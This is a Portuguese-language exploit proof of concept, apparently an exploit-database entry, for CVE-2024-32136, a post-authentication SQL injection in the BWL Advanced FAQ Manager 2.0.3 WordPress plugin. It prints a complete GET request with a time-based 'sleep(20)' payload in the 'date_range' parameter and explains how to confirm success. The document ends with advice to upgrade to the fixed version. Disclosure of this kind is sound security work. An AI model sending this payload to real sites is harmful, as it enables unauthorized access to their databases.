
Prova de conceito de exploit para CVE-2024-32136, uma injeção SQL pós-autenticação no BWL Advanced FAQ Manager 2.0.3, demonstrando manipulação de banco de dados baseada em tempo através do parâmetro 'date_range'.
Título do Exploit: BWL Advanced FAQ Manager 2.0.3 - Injeção SQL Pós-Autenticação
Data: 14 de Abril de 2024
Autor do Exploit: Ivan Spiridonov (xbz0n)
Link do Software: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135
Versão: 2.0.3
Testado em: Ubuntu 20.04
CVE: CVE-2024-32136
Injeção SQL é um tipo de vulnerabilidade de segurança que permite a um atacante interferir nas consultas ao banco de dados de uma aplicação. Geralmente envolve a inserção ou "injeção" de uma consulta SQL através dos dados de entrada do cliente na aplicação. Uma exploração bem-sucedida de injeção SQL pode ler dados sensíveis do banco de dados, modificar dados (Inserir/Atualizar/Excluir), executar operações administrativas no banco (como desligar o SGBD), recuperar o conteúdo de um arquivo específico presente no sistema de arquivos do SGBD e, em alguns casos, emitir comandos para o sistema operacional.
A vulnerabilidade existe no parâmetro 'date_range' usado na página 'bwl-advanced-faq-analytics' do plugin BWL Advanced FAQ Manager. Atacantes autenticados podem executar comandos SQL arbitrários dentro do banco de dados manipulando a entrada deste parâmetro.
A seguinte requisição GET demonstra a vulnerabilidade:
GET /wp-admin/edit.php?page=bwl-advanced-faq-analytics&post_type=bwl_advanced_faq&filter_type=views&date_range=(select*from(select(sleep(20)))a)&faq_id=all HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/edit.php?post_type=bwl_advanced_faq&page=bwl-advanced-faq-analytics
Connection: close
Cookie: [Relevant Cookies]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Se a resposta do servidor for atrasada em aproximadamente 20 segundos, isso indica uma exploração bem-sucedida da injeção SQL baseada em tempo, confirmando a vulnerabilidade.
Os usuários do BWL Advanced FAQ Manager v2.0.3 são aconselhados a atualizar o plugin para a versão corrigida v2.0.4.